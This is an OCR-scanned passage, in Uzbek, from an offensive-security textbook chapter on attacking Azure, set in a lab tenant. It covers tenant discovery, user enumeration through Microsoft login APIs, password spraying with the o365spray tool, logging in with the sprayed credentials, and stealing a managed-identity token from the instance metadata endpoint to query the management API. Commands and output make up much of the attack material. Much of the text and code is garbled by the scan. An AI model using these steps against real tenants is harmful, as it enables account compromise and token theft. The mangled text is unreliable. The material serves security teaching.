bab Office 363. Koplab OM<e 2+
kelgan, va foydalanuvchilarn chilarni sinX
pochta qutilarini va "Ob’dalamita yoki boshqa
ningdek. ko*plab 1ashkilollar0_ " aitadi. . scope’lar (doiralar)
L federatsiya q! .1, uchun bir qator : =
AD ushbu IdP’lar bilan 1€ irishni bﬂshqarls'h u ailinad ¥ bu scope'lar foy .
wvlar scope Of‘!ah.re,‘zi Microsoft Azure A‘D'klﬁs‘:: _

dan foydalanadi. Boshaart cuxsatlarini belg! -?j} Htifikatsiya saglash turidir. l1
lanuvchilarning Azure c-lag‘::ervices’dﬂ“ farglt IC® plab farqlar mavjud, bu farglar

Active Directory Domain

g pess
. o rtasida K
: i turlart O
rosoft identifikatsiya xizmatlari t
irilean.
28.1-jadvalda tushuntirilga

? Asosly sa-
: ydalanmoqda’ :
i {(:;n-premises Exchange ia[l;
iri ure
irishni osonlashtirish l-lCl'lU.nl Az e
o lashtirish uchun 15111at|1gan;6‘ -
I.onldl"lar bilan ishlagan. unda Azu

r Azu :
';3612; foydalanuvchllar

Aavion Kk
Azure o*z resurslariga

;satlari : lachine
ol ru:atish joiz. Masalan, Virtual M
241 a -
e’tibor 4

: -oldir. Ushbu rol
‘ .la“]gan roldir. :
: 4 e uchun 0’11 ida tizim uchun
EMCCAEL W s gaplashisdl DU A Ja. rolni JSON formatida tizin

) : ¢ : -
User Login roli nag 52?7 ichiga ola e eltirilgan:
Nima giladi va nimani © #

qanday tashkil etilganint

qumiy rollargd

28. 1-jadval.

xizmatlarini taqqoslash

i iva S
- 1ontifikatsty Azure ADD
Microsoft el Microsoft AD DS —-——é—-g}—_‘_'__
AD Xost (Saa
e ey ure
ivat Azur LOkaI xost
i S) LDAP Store.
; : Xost (S22 LDAP, Kerberos. Kerberos, NTLMv2
Xosting turi sda OAuth, NTLMY2
Veb asosdss " = IE—
Login turi S;ML" OpenlD | [“Group Policy”
% ~Group Policy” siyosali
f .
" [1 e (DM syostll
Kompyuter foydalanish
boshqaruvi —




1
|
l'
?
p

e

—_ Tr— "
=
-
oy Y
S

Foydalanuvchi Yassi tuzilish, gam- Papkalar, ACL asoslari, Papkalar. ACI.Ia‘so.?-

boshqaruvi rovga asoslangan  |daraxt tuzilishi lari. daraxt tuzilishi
boshgaruy

Administrator Global Admin, Bil- | Domen admini. korporativ | Zaxira admini (do-

Hisoblari: Rollari ling Admin, Contri-

admin, zaxira admini. sxe- | men admini. kor’pori-.
ma admini tiv hoshqaruvclu yoki
sxemani o°zgartirish-

butor rollari

Tashkilotlar va Ko*p ljaradoshlar
[jarachilik

ga ruxsat berilmaydi

Forest (0'rmon) va

No-Forest. no-domen
domenlar

Synxron variantlar Lokal AD Azure

Foydalanuvchilarn; Azu-

Chigishni sinxronlash
re AD bilan sinxronlash

imkonsiz, Azure AD

mumkin, fagat bitta ulagi- | ma’lumotlarini oladi
ch. har bir obyekt uchun

AD domen Xizmat-
lari bilan sinxron-
lashi mumkin

"Microsoft. HybridC, ompute/m
/)

fagat bitta Azure AD

sinxronlash .
{
"id": "/prov.*'de;'AVMfc:'o.soﬂ.Aur}mr':':arr'mm'm’eDeﬁmn'onsffij?9(1{3-]326-
4884-b1cf-06f3ad86bes2" @ ' ’

"properties": |
"roleName": "Virtual Machine Usey Login",

"description”: "View Virtual Machine
"assignableScopes": [

L

b/

"permissions": [

S in the portal anq login as a regular user."

“actions": [

"Microsoft. Network/publicip4 ddresses/read®

"Microsoft, Net workfvfrmafNent-'orks'/re ad”,
"Microsofi. Netw ork/!oadBa!ancers/m ad",
"Microsoft. Nenvork/nefwork!me;face.s'/read !
"Microsof, Computervirtual Mae hines/*/read"
"Microsoft. Hybridc ompute/machines/*/reqq

“notdctions": [},
“datadctions": [

"Microsofi.C ompute/virtual Mach r'nes/foghz/acfr‘on@ L

achines/!ogin/acu’on e

“notDataActions"- []

. Az rolining orqa-
JSON blob — Virtual Machine User Login ud:':n Szi;l;c:f Azure AD ija-
. BL_! a sodir bo*layotganini ko-rsa‘faf:hgan mls:::; .o-matilaan oo
e ishda mavjud. Tizim tomoni S it giladi. Azure’da
rechilarigy plobal 1l ima qilish mumkinligini nazorat qilad1.
5 i

i A i ko'ri i ko‘rish
e lllbi b'ufnruwsat etilean harakatlarni ko‘rish orqali ko'r

ii? catlarini ru g
“Control Plane™ hara

4l im etilgan ko*plab qamrovlar
. rchilariga taqdim etilg : : :
e il h nlng iO}dalanU\C > : = y : ln dek__[t.lda an]q
e U?hbu hl?({;:ﬂi 0\'1?1“'&"1“[3“‘i 0°qish 'mkom%’aniig‘fihr:ilzlar%uvchioa virtu-
v (}’Olkl QZLBZta Plane variantlari mavjud. Mllsill :ln‘&xsils korn]l‘om“;lt kerak
f’:Z'-“'t‘ lr9l E;;lruz kirish imkoniyatini berlsﬁbuclhl;m ;nzilga kirish imkoniyati qan-
al mashinalarg i sece oo b [P'm KA hina TP
Jadi i manzilim nima va ushou - i — haqiqiy mashina
g Me]?lmﬁz I\If)ariantlari shu imkoniyatni t;lqdlmliel:?gsh iml?()nivatini beradi.
day? Data Plar ati @ Bu faqat Portal orqa e id Ini
Tioa kirish imkoniyati ©. Bu faq /dalanuvchi nomi va paroln
manziliga kirish imkoniy hig bo‘lsa va ular foyda i : covmidin.
> il Internetga ochiq lar hali ham kirishlari mumk
Agar IP manzil In da bo‘lmasalar. u _ ¢ —
= s bu guruhda ; : ing ma’lumot kanalid
il Jen uliza bg‘lmaslik RDP kabi Promt]\'o;-‘]\gga;kirislmi osonlashti-
k. diz bu faqat Azure Portal i li o'zish“’ bo‘limida topish
e to‘xl&UIT:r} 11L;iiatlariga havolani “Qo*shimcha
radi. Qurilgan ro W

; i? Qaysilariga e’ti-
i ¢ csatlarni beradi? Qay g
mumkKin. + qurilean rollar eng kKo'p ruxsatla
1q B )
okl BAGAE fli harakatlar-
ot Leorak? . ko*plab xav .
bar beailis kel i trator va Billing Admlnfstlat.orlfirishpva yangi ijarachilarni
— Global Adminis \kin. masalan, ijarachini 0°c
; irishi mun 4 e :
ni amalga oshiris v sl il
h -t (i Resource Group :
boshlash. \tributor Subscription )’o'ld alga oshirishi mumkin.
— Owner va Cor anday o‘zgarishlarni am er va Owner. ekstremal dara-
- « o I .
ostidagi obyektlarda ha:?y) rollar, masalan, Co O(;w:} astdagi har qanday narsani
— Classic (yoki Le&ega (ular obunalar va ulardan p 2
a
i i ruxsatnomalarg
Jadagi ruxsa nox ey
amalga oshirishi mumk"& ure ADda o
— App Administrator AZ

‘rsatishi mumkin.
Servicespa ta'sir ko rsatishi

iritishi ‘ eveloper
<soarishlar kiritishi va ko*plab D p

. . 1 h
p jumni tashkil et1§ ) !
Azure-xosted tiz'm]arg?dl:?oylaslnirilgan aktivlarga hujumni

iyasi Azure : i ‘zilari juda aniq
. i laboratoriyalar seriyasl iladi. Bu texnikalarning ba’zilari )
feymg 2 Ol : ishni muhokama gt
oshir
ganday amalga

3 i. Birinchi
: sure’ga bag‘ishlanadi. Birinc
babli usin blr‘ oy Amr?nigaishIz%’tay.atganini ganday
Azure’ga xos bo‘lib, shu -5a| sh. Magsadning Azuren ishlatayotgan tashkilotlar
v ijarachilikni aniqid chtimol, Azure aktwlgr;l B balled abakids
gilish mumkin? Oﬂ'l‘-‘f"l ’?in\;zjud_ Birinchi ko‘rsatkic
i iq belgilarn
uchun juda aniq

ladi: ' da “outloo
v l‘i Ilviessage headers’da ~ oY
lishlarida ko‘rsatilgan;

i ' ‘na-
» yoki “office365.com yuborish yo
k.com

70

(e}




— DMARC va DKIM qidiruvlari *
AD ning standart domenidir;

— DNS MX yozuvlari “ma
365 foydalanilayotganiga i
foydalanuvchi nomlarin; yi

onmicrosoft.com™ uchun mavjud. bu Azure

il—proteclion.oullook.com“ga ishora qiladi. Office

shonch hosil qilgach, biz turli Azure API'lari orgali
g'ishni boshlash mumkin,

Laboratoriya ishi 28.4:
Azure AD foydalanuvchilarini qidirish
Tenglamaning birinchi qismining mohiyati Azure AD m ijozi qayerda joylash-
ganini va foydalanuvchilamijoylashtiryaptimi yoki tekshiruvdan o°tgan foydala-
nuvchilarni federativ hamunaga jo*natyaptimi yoki yo*qmi shuni aniqlashdan ibo-
rat. Buning uchun Microsoft API bir nechta on[a_vn-imer[-‘eysiga bir nechta so‘rov

yaratiladi. Buni quyida ko‘rsatilgan tar

. zda komandalar qatorida Burp Intruder ins-
trumenti yordamida amalga oshirish mumkin,

L—(kaﬁ@fmw- [~/projects]
S curl -5 htips://login, microsofionline.
.1reﬂ-k}rm-.fn/opm?id-cmy‘r'gm'arfon Ll

/
]

"token_endpoins™: "hups://fogf'u.m:’crosoﬁan!fne.
9b19-132414a3741 bloauth2/token "9,
'?oken_endpomr_au!h_me.'hods_snpporfed”: /
“client_secret_post"
"private_key jwi"
“client_secrer basic"
(kalikali)- [~/projects]
S curl "htips://login. microsofionline. com/getuserre
ghhtestbed®. onmicrosoft.comd json=1"| Jg''

{"State":4, "UserState - | "Login": "test@ghhtestbed onm
Tvpe":"Managed®" "py,

com/ghhtestbed. onmicyos oft.com®/

com/695086¢(3-49 le-424]-

m'm,sr_-f."{ngm =lest@

sl icrosofi.com”. "NameSpace
i L oomamName": "ghhtestpoy onmicrosofi.com" "FederationBrandNa

me U o estBest" "C !ond!ns!anceName "micmmﬁon!hw.c'om e

uerUri:m, ) '

. : loudinstancelss
rn:federation: Microsofi0

nline"}

Birinchi so‘rov Xavfsizlikni tekshirish uchun asosiy nazoratni beradi. Openl-
DConnect wel I-known

‘ : ' konﬁguratsiyasidan foydalanip, muhitning Azure’da mav-
jud yoki mavjud emasligini aniglash '
domen bo‘[adi, Birinchi d

com bo‘ladi.

Si2ga moslashtirilgan bo*ladi. Agar
ndpoint konfiguratsiyasi ko‘rsatila-
bu tizim qanday ishlashi kerakligini

» Natijada OpenlDConnect e

di. Hozircha tizim suiiste’mol qilinmayapti:

ko‘rsatadi.
Keyingi so‘roy tizimga kirishga 1 i v s : ini
: ) 8a harakat qilmay( N tenant turin
ochib berishi mumkin. But b opydi, lekin topilgan ten

€nantni tekshirish uchun mavjud bo‘Imasligi mumkin

294

—

- . . . -
I -

R pe” giymatlari: o

JSON natijalaridagi “NameSpaceType T haqiqiy.

AD tomonidan joylashtirig i sy

— Managed: Bu Azure : bu ilgari amalga oshirilgan tekshi

— Unmanaged: Bu ijrachi mavjud emas. bu ilg

e g . ifikatsivani boshga
Sar Blishi et Azure AD’da mavjud. lekin faqat autentlﬁl\illt;:}(;" Federg'
i . u : . ‘ Wi /1.

" Fedelategkitllx'oii ADFS) orqali yuborishni qo Eazgﬁz‘i’l‘;ii ko‘rsatadi. bu
I‘_lP l(masa!a:,ns'oN allielltiﬁkatsi)!a gilish UCh'E]I'] 'Iil:i:ﬁ)rd!am seicexilios Vil
siyalangan - vd hilarni qidiris . S

: . alanuvchi Vet ek B ure’'da aksariyat
Hoatiga plh gt ;gf:daianuvchi hisoblarini topish ‘lzieral;.r ::izloan
i uqga €2s 10) illari asosida y gan. )
fi \dE;:::L:LL::?ﬁ?ﬁsoblari elektron pochta T]a;:-,?l;::atishning maxsus jihatlari qal;:-
oy hi nomlar arini topishnine bir necha
li /dalanuvchi llarini topishning bir
Ushbu bo*limda foydalan lektron pochta manzillarini topishning bir necha
. il . haqiqiy ele n birinchi va oxirgi ism
o Olmma}l(‘j]-dAmT;an Einkedln va boshqa manbalf:dsabi shablonlar yaratish.
usullari mavjud, ma : lastname(@company.co ; o
~yxatini olib. firstname.las *lumotlari mavjud.

e ymtll\ml Ot“g]etda ko*plab elektron pocmz'ldmj foydalanayotgan bo*lsak ham,
Shuningdek, Inte - rosoft.com domenida T ——
= P i7 onmicrosoft. in. lekin foydalanuvchi hiso

E’tibor bering. biz ‘|masligi mumkin, leki : Principal

Y hta bo‘lmasligt MU formatni User
bu domen elektron p(:]ln formatida bo‘ladi. Microsoft bu
ham user@domain.c

di. Quyida qanday gilib bu hisoblami yig*ish mum
'dl. '
Name (UPN) deb atay

keltirilgan:

Sk v ine.com/common/
I_—( kali®kali)- [; 7] tips://login.m icrosoftonline.com/con
. ) HITIAN (-
$ curl -s -X PC

- gy r 3y iI'l‘ F@

GeiCredentialTvpe h,f. ntest@ghhtes thed. onmic? os]?!{: 5 (;;)g :«:_,,- . nm,@g;,;,,es,bfd
-~data '3""U_§'E‘.ﬁ-.'l'f”.’li_"_-=: ;;;;g;‘.fbeﬂ’,(Jﬂﬁ”lcrnsc:ﬁ‘c'ﬂ" ! gd"ffﬂj.!ii’. "Thi‘ofrfeSfams ”n ”
A b "-"t’!-'f::_f!-g i ssResult”: 10,"IsUnma T::ﬁn-ué nrRemoteNgeParams":null,
onmicrosofi.com”. -:'fE\.”;»un‘z.',-'ﬂ:f_ "HasPasswol -. m?:" null, "Google Params"::.m i
"Credentials"{ "PrefCres - ans ™, "CertA uﬂmﬂ,} .ci , ,,}B,-m,d,-”gu{.,m”_ o
FidoParams":null, AY as!};::: ;: 1,-;.5 s N rtioarThn

", -, |
"EacebookParams -nulis:

ot trne
"3, "IsSignupDisallom ed":rue}
pe:3}, "IsSig

| : : ine.com/common/
Mmi@kﬂm_[ﬁ?i tips://login. microsaftonline.c
urd -s -X POST atips: | B
cr i \ P @ ohhtestbed.onmicrosofi.com 1'e
GetCredentialTip s user @i

G " e _ge,i'uff-!
" n enisplay " g}'lh fesfi —
o sername": "ghh-1€ sthed.onmicrosoft.com”,"Displa
--data '{"Uset aghhte

" "“Thy
g s } [} ed"._ ﬂl’S&"
TRl ‘{}h-{ys.f-i'ﬁe-’l. ' u!. U”}”an g f }
{"Username ™ 8

stsResult”:09, ord™ true, "RenoteNg
irosoft.com”s WE“}SHfjg”;m{"'! HasPassword™ irue R
; nmicrosojl. -1,
ghbfeubedf ?
0,"C
ottleStatus":0,

@ a ¥ ¢ P "null,"Googl
j e i ; Params': "Ce L‘llﬂh arams N, ‘ :
- d{.’”” !s i.:{dﬁ asParan. & "“HI i '::{"LFSI? 'Fé’:manrandmg".n
3 maull u‘;rjdoﬁamm.\ . H,'J:'-HH”}-" -:S“.Pmperng_s " !

cParams’: ¥ b kP rams”: E”‘ )

i -qc‘ebﬂ" a - wed ' frue
ePamm.s"’.:'wH. !u. 3} :'js.S‘fgrmpD;.saHo
wll, "DomainType 27

<2‘-?5
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) Foydalanuvchi non?[arini yig“ish uchun ikki so*rov tagqoslanadi. Qo*shimcha
raws}l]da. foydalanuvchi nomlarini aniqlash tenglamaning
Shu_mngd-ei.(, bu .nomlami parollar bilan ganday ishlatishai
hoznrda_e'tlboml foydalanuvchi nomlarini yig‘ishea qarati

I.[(]{I so‘rovdan birinchisi test@ghhtestbed.onmicros
23;1383 egﬂh@[; Test fo;:da!.anuvcpisi yaratilmadi, shuning uchun tanigli yomon hi-
dancbigir;g ; er;k bo‘ladi. Natua. b:rqz qiyin o*giladi: ammo. JSONdagi kalitlar-
i xls::s e.;su}t deb atalad:.' uning natijasi 1 ®. Bu holatda (lou;k bo*lma-
ghhlest[:;ed i yolg (I:tn shart yoki mavjud emas. Agar hagiqiy I'o_\-'dalanm-'chini.
i @.(bunlicrios;) com @ghh-test—user @, ko'rilsa. IfExistsResult 0 ga 0'1-
o q:\'si o, i Pfﬂ ?, hagiqiy shz?rt). Foydalanuvchilar ro‘yxatlarini aylantirish

) a1q1y foydalanuvchi ekanligini tasdiglash imkonivati bor. Bu ular

Azure ruxsatlariga ega ekanligini :
) g nligini anglatadimi? Yo‘q lok: . i
nuvchilari ekanligini anglatadi, - ?Yo'q, lekin bu ular Azure foydala-

bir gismini tashkil etadi.
tushunish kerak: ammo
sh lozim.

oft.com foydalanuvchi

Laboratoriya ishi 28,5
. Azure AD tizimid ,
Endi bu vositalarning qanday S pere  targatish

_ ishlashi ko*rib chiqildi, lekin ag da ila*or
met : : , 1agar yanada i

]'1isoc;)?]gzrcpj:?ol;‘?i{?::a:;g}l]ganki:luj u.mlarn{ qurmogqchi bo*linsa, mai‘:ala?;. Oﬂ‘[ce%éS
Parol targatish huj L?m[ar' )’; : I?a_]ro] hl.ljll.lm.]arjni amalga oshirish ganday bo*ladi?
qollaydi. Bu hujum usu;i t!r']i“l’ p.arolm bir nechta foydalanuvchilarga nisbatan
tufayli juda mashhur BundIrl hhz-]mlarda parolni blokirovka gilish muammolari
salan, Beau Bullock'nine MagO;éum]ar uehun bir nechta vositalar mavjud, ma-
uchun va moslik sababla?i pray4 va 0xZDH 0365spray.5 Bu laboratoriya

. b”an 03653 ra . -
oshirish uchun, uni lokal tizimigg Yukll;n:d?-os“asl ishga tushiriladi. Buni amalga

L—maﬁ@kaw Lol
S git clone hups Agi
. /github.com/0x ‘
,:—r kali@kali)-f~/036 Ispray] B ST
S python3 0365spray.py - ]
B (e FORkaEp;; Tf;, %1_.‘:531!9&:1 onmicrosoft.come
[2021-10-20 21:36: 18
_— A8,817] INFO - Rmm.‘ng 0365 validation Jor:
[2021-10-20 21:36: 19 >
<V 21:36:19.240] INFO -
bedonmicapsoﬂ. s ] INFO [VALID] The Jollowing domain is using O0365:ghhtest-
kafif kz;h}-[ w/projecis/o_?dSSpray 7
. Pyiion3 0365spray,py - ; ;
I i s av.py -d ghhtesthed onrucrosoft.com -y ghh-test-
;—(—JOA [ITTED FOR BREVITY....-
2021-10-20 21:36:31,975] IN .' ;
120211020 27 3505 22}; J:i \f: ,2') .f?u:;mg 0365 validation for: ghhtestbed onmicrosofi.com
bed.onmicrosofi.com * [VALID] The Jollowing domain is using 0365:ghhtest-

[2021-10-2

ghhtestbed. onmicrosofl.

useri@ghhtestbed.on-

271INFO : Running user enumeration against 1 potential users

~NG

[2021-10-20 21:36:33,654] INFO : [VA LID] ghh-test-user@ghhtestbed.or unicrosoft.com
[2021-10-20 21:36:33,655] INFO : .
[ * ] Valid accounts can be found at.

counts.2110202136.ixt’ _
[ * ] All enumerated accounts can be fow d at.

counts.2110282136.1xt’ i -]
2021-10-28 21:36:33,653] INFO : Valid Accounts.

vhome/kali/o363spray/enum/enum_valid_ac-

Yhome/kali/o363spray/enum/enum_tested_ac-

asini klonlashdan boshlanadi @. 03655prayl vositasi
tivlarni tasdiglash uchun ishlatiladigan turli API'lar
Ushbu vosita tenantni tekshirish, foydalanuv-

ivati ga bi dalanuvchi
chilarni tasdiglash va sanash imkoniyatiga ega hlig:ld[ijnfjashll);:av ;;}t’a i
taqdim etildi ® va uni enum rejimida ishga fU_Sl il ht.:k!anmaydi' il e
qo*llab-quvvatlaydi. U faqat OpenlDCon.ncct bilan 1(:'1[ e amen.liﬁkatswé =
Exchange Web éewices va zamongvi}’.l'vllc:jo'sm'ir (I;F;Li ;L _?11;1 o Vositavpam]
lishning bir nechta usullarini tekshiradi. Endi sa g

= i /i hini ko‘rsatish
; . mlarida yordam bera oladimi? Ha. Buni ganday ishlashint 4 i
tarqatish hujumlarida } paroli ishlatiladi. Agar parol tarqatish hujum-

T i iva : S
uchun statik to,\-'dalanuvch; nc:!ula tatik parolni foydalanuvchilar ro‘yxatiga uza-
i i i bo'linsa.
lari amalga oshirilmoqchi bo™lin
=]

tish mumkin.

0365spray repozitoriy
Microsoft tomonidan akreditivial
bilan ishlash imkoniyatini beradi.

e T ets/o365sprav] _ |
[:{kt;jr-s.;{ﬂéi;{'é c;:}j:; -d g)'ﬂ':te.s'.'becimmr:;‘;':}sr:ﬁ;zfﬂ u
§ pvthon3 sprav.py - ; ord1! —spray
microsoff. c{(.lmﬂ p RL,",HI.RL;(;!{E;‘C;:TSII ongPasswor
<—-OM )R BREVITY-—~ o ccvvord spr
‘; -(.,M ﬂ”ﬂ;iq, :::3 6:39.002] INF! 0: Rmrmngl J?a.-.s. 1; :J:J; :fg *ﬁr’; ,;
?’.,2; ::-::n-",” _3'{.'36‘39 002] INFO : Password spra ?
LUL I= =l lf =l ¥ g | R 1"
['ReallyReallyVerySt "":;Qf: {]”j‘.:?g !.' ;l-’A LID] ghh-test-
i .36-30.63 N .
[2021-10-20 21:36:3%,

cswordl!
ReallyReallyVeryStrongPassword:-
‘[202 !-. 102188 - f : ;‘];;: ’;;O '»")‘nmref‘p'ca!.r'fpr'ty'ec.fs,
iti id credentials 10-
[ * ] Writing valid crede
tials.2110202136.1xt' '
[ * ] All spraved credentials can
I ¥ =l
""ﬂ’uc'}'f:;c;;rf.f;:;’s.;";fi??-;lg";;_;é;;_; ] INFO : valid Credentials: 1

ghi:—fesf—nser";j’;-ghhres:bea'.cm-

v against 1 users.
following passwords:

user@ghhtestbed. onmicrosoft.com:-

0363spray :f’spra;s=.*"sp.t'a_1-'_'.-'a!id_cmc.’en—

0365 spray/sprav/spray_tes-
; NEali/mrojects/o363spray/spra v
be found at: Yhome/kali/proj

yaxshi parolni taqdim etish @ bo"?a-'
hiriladi. Shuningdek. --enum k.aht!nf
lan zarb qilish imkoniyatini
adi va chigishni faylga saq-

: *lum bir

Keyingl i VOSlta%a mizhlll:lshi teks

s wauEis qal1]?goblar[1i parol hujumi bi
. " , 4 1 ) .

--sprayga almashtiriladi. bu rivlami ko'rsat

g e ha(‘}iqiy a!{f!lami qanday 18
laydi i(eyingi qadam yang! akreditl

hlatishni ko‘rish bo‘ladi.

‘2‘-3?




Laboratoriya ishi 28.6: Azure tizimiga Kirish

Endi haqiqiy hisob bilan Microsoft Az

uchun qanday foydalanish mumkin? By
sinab ko‘riladi:

-~

I:—{kaﬁ-.,s"}ka!:)-[ ~/0365spray]
$ az login -u ghh-test-user@ghhtestbe
ReallyReally VeryStrongPasswordl! ©
<=-OMITTED FOR BREVITY---->
E—(kafﬁ?ﬁkah‘)—[w/ojéjspra_;{]
$ az vm list -o table -4®
Name ResourceGroup PowerStare Publicips
ric-de1® PURPLECLOUD-DE VOPST v\ running 40.78.2. 1856
ric-velocihelk. PURPLEC LOUD-DEVOPS] vpy running 13.88.175.91
Winl0-Lars. PURPLECLOUD-DEVOPS] ypy running 13.88.175.92
|:—(kah" kali)-[ ~/0365spray]
$ az vm run-command invoke
RunShellSeript ==Scripts "dir@®
(AuthorizationFailed) The cliens ghh-te_s'ﬁme;-ffi,;gﬁ;”e_‘.med onmicrosof,
com’ with object id '6alOMM/ TED4' does not have authorization® 1o :nw'ﬁu'n-'
action "Microsoft, C‘ompme/v:'rrzra!Machfue s/ru :

d.onmicrosoft.com -p

8 PURPLECLOUD-DE VOPSI -n ric-de | --command-id

~dc!" or the Scope is invalid. If gecess was
recently granted, please refresh youyr credentials. ‘

Endi ghh-test-user foydalany
tizimga kirish @ va virtua] mas
ko‘rilmogda. Bu umidl; holat. |
va cheklovlar mavjud emas. B
hisoblanadi. Hatto bir nechta qi
mumkin. Nima uchun ularni

vchisi ha

) qiqiy Azure foydalanuvchisi ekanligini-
hinalarni

| ro’yxatini ko‘rish imkoniyati borligi o
Hisobda ikki fakopl; autentifikatsiya (MFA) yo'd
a}'cha narsalarni to*lig nazorat qilish mumkin deb
ziqarli serverlar va domen nazoratchisini @ ko*rish
Eh 3 qo‘llab-quyvatlagh huquglarni suiiste’mol qilish
uchun buyruglarni ba_]arlshga harakat qilinmaydi? run-command @ foyda]anish‘
ga ha'rakat qilindi, lekin by muvaffaqiyatsiz bo*|d;. Bu foydalanuvchining virtual
mashl{lalarga fagat o*qish huquqi borligi sababl; ekanligini ko‘rsatadi Foydala-
nuvchi bL.iyrquami bajarish yoki mas sh imkoni a[ioz; ega emas
5] Mashmalarda Jamoat | zda to* *riy robdalanuvchi
nomi va parol bo‘lsa, by ¢ mumkin 4 .

hinalarn; 0" zgartiri
P. manzili mavjud O, agar s;
zimlarga RDp orqali kirish

Boshqaruy plani

va boshqarilad;
, Mijozlar bazy
lani asog

gan identifikatorlar

si o‘rtasida umumiy boshqaruv
an veb-rahbar paneli orqali yoki
yordamida ko‘riladi. Buzg‘unchiga foyda
v rejasi odatda ma’lumot markazi tarmoq-

ure komponentlariga kirishni boshlash
akreditivlarni Microsoft Azure CLI-da

i VMware vSphere kabi tizimlar bilan. Bumng_
lararo ekran orqali yashirilmaydi. V t‘orqali ochiq, agarda to*g'ri foydalanuvchi
: - jasi bizga interne e
o°rniga. boshqaruv rejasi bizga INIEIEs 7 epa bo‘linadi. .
nomi‘-\-'a parol bilan tizimga kirish llml\onlg;film.;aI mashinalar orgali ham mavjud.
iasi ichki xizmatlar va . i talab giladi.
/ rejasi ichki xizmatl: - n hisoblarni talab q
i Eos]?qml‘l\]di iiizimnina sezgir gismlariga L]rtl)shaucis% | sorveraa yoki boshaa
Xizmatla B W -0a, g
N u"\ : | mashina Azure fayliga, Azure bl.o ivadan o‘tishi kerak. Azure bu
A_?:’ar virtua - ‘.~| ni xohlasa, u ham autentifikatsi) 33 tonioiidar tayilangan
xlzmali_arf:'ja }f:rfi":]{m;i\.-atni taqdim etadi: toy-dala[:u\:inlanoan boshaarilgan iden-
uchun ll:.l\l xl n l'ﬁki;tSiYalaf va tizim tmpomdan a}ﬁﬁkat:;iya materallafinitad-
boshqanlgan \dent day mexanizm mashinaga auten' olish va mavjud bo‘lgan
i3 1 i f i » P 1
tifikatsiyalar. Har cllaLﬂ aﬁateriallar o°qilsa, identifikatsiya
dim etadi. Agar ushbu1

i hirish mumkin.
I darajasida harakatlarni amalga 0s
har ganday huquq dara]

Laboratoriya ishi 2?—7: ———
izi idan tayinlangan |de_ntl I ishilmavdi. chunki bu
s tomo-nlni tarqatish hujum]ar’%a-l\msd:ﬂan[wchi nomi va
Bu bobda RDP asc.351dalpf';§i Buning o‘rnig?- to'g'ri ﬁc:;yb S ot
mavzu 16-bobda ko'rib chlfllen .boshqaruvchisi_ ish s}?hdtai ;sidan ganday foyda-
parol topilganini i i deﬁannan boshqa"uv,ld?mm}lja; }c(}ziioriyasiga murojaat
yerda, tizim tomomda‘n_lﬂ)a‘. CI:’ZS papkasi dagl‘GltHU :.d[; iy
lanishni muhokam.ﬂ qI;[SI;K:‘a\l.-[i topiladi. Ushbu fayl serve
ilinadi. u yerda siz . ) o
q i Sesponse = ORI on-2015.02
1 (‘:1U.s;r:;fj7}6‘b .':5-J.f:m’mdarw’idmm{‘--’f0"”‘ - re.com¥%2F" O
Titip://169.254. 107

fdz
3 .%3‘1. 1l I'(Ié,l?mt nt
”’ Cre e f'”q}- %3.“ /FJ,
SresSource g )} ?F" 1 T, -

>> -Headers @ ;ﬁ‘f‘}""f}:‘i‘ Sconte
ELERS woml® ken L
P s BT s Saccess_[ORC identities for Az
s C:tUSWSHRTCA{?}"'!;-» ;3('!'10 “The umnﬂged ider
$C < \RTCAdmin-
PS C:\Users\RTC.

" ot FrOM-JSon

i="true"} onse.Content | Conver tFrom-.
=5pes, g -

nt =Sresp .ontent.access_token 258

=360 ure resources acce

o @) e aecess token is —_ EJWWkxI-
foken is Sﬂﬁ.(.g_';j_fﬂit.i fa;- Azure ,-gj(}h‘;(;.;[::;ivij:qhicjé'}unr:c,’EFN[B_-'Q”goe
The managed identiics. hbGeiOiISUz S USqOEx=U-
o e OiLCIh ] NRce DZmOcUSq
ey/0e XA sz’;'* Ve KOV3 pGhekV00iMoB2ZBcPRI
VEd3bINSNzY4M ¢ I EtKEx2jgkIUSS
IsImipZC161mw= Vim
bIkNPrvBovd PK wETKXoH v O EGODS-
L bﬂtﬁ?ﬂ?w SingiPy q}gﬁ};%’;—'i—‘-} - She3Vx76siDSmAXogpAMeJzXeZYesiSFGIp
- OMITTED FOR BREY 4hSXNpShes 1 T
<-OMITTED ol KaCeMaEPSHISITE YX3RIO-w453a0IESIXDVEICYA
cOMTWPshinZda v8dEpMeInOi: 2CFI 1UXX3Rh

iR ) or the TM
65fulVBEGSLMMIbEL Ol H:a: fi VRMGgY 21 QGlo2En 4

ource information
IRKO! , access token 10 get res i
F‘Pgl,s.\'.(;btﬂ_f’ﬁ “Admin= # Use the a ,ﬂke-mebReque.w -{,-;: P——
- C:'(»’.ﬂ'er.\"-RTg:'lr;"m_: Ssubld - {{}?:1ce?ﬂpi-l’f.’rsifmﬂ.?@. 1-02-
PS C:\Users\RTCAdM .- gmdam"ﬂ?-? a‘ : ; |
; 5 9.254/m ) iptionla s e s
hitp:/ !6:')_ 3-’_4'.,.{:3‘ e"}). mmpme_.mbscr P fhn-‘;]ke—"{.’bRLth’ﬁ
@{Meradata=

.-, syminfoRes! =
PS - \Users RTCAdmin SV 4 209




htips://management, dazure.com/subscriptions/Ssyub ldire

prm'fders.focroscyﬁ. Compute/virtual Machines/ric-de | 2
-ContentTipe “application/json” -Headlers (

Saccess_token"}).conteni®
PSC:| Users\RTCAdmin> echo S\'mhgfoRes.fﬂ
{
"name": "rtc-de ] "

<—-OMITTED FOR BREVITY.ewn

{
iz

. e i/
sourceGroups: purplecloudde o;i.'g"r
api-version=20]7-12-01-Method G
ayi Authorizatipy - "Boarer

Ma’lumotlarni qayta ishlaydigan
oshiradigan mashinalar,

da Azure tizimj
tifikatsiyasi mavjud bo‘lishi unchaljk noodatiy emgas. Bu identifikatsiyalar Azu-
mumkin va py

. . enic kirish
. 5 rollar Azure Xizmatlariga maxsus F"g i
huquqlariga ega bo‘lishi mumkin, 28.2-Iaboraloriyada Azure tizimi tomonida
tayinlangan boshqaruy identifika

.. . . . & . . = 21‘3’
' 1S1yasi yaratildi va py identifikatsiya Azure h lha—
h uchun ishlatilish; mumkin, Skript bir necha narsani

’ t
o : b ‘Isatilmagan, rtec-dcl @ dan ma Ium(;i
olishni kuzatib boriladi, amme Ushbu mashing kjrig, huquqiga ega bo‘lgan d"ya;
gan 4
1 Mumkin, H - iy mashinalar
buyruglarni bajarish mumkin_ atto masofaviy m

n hoshqaruvchida A Ni o'matib. ba'zi buyruglar
bajariladi: Zure CLI'nj o rnatib, ba’zi buy

PS C.".Users'lRTCAdmbP W
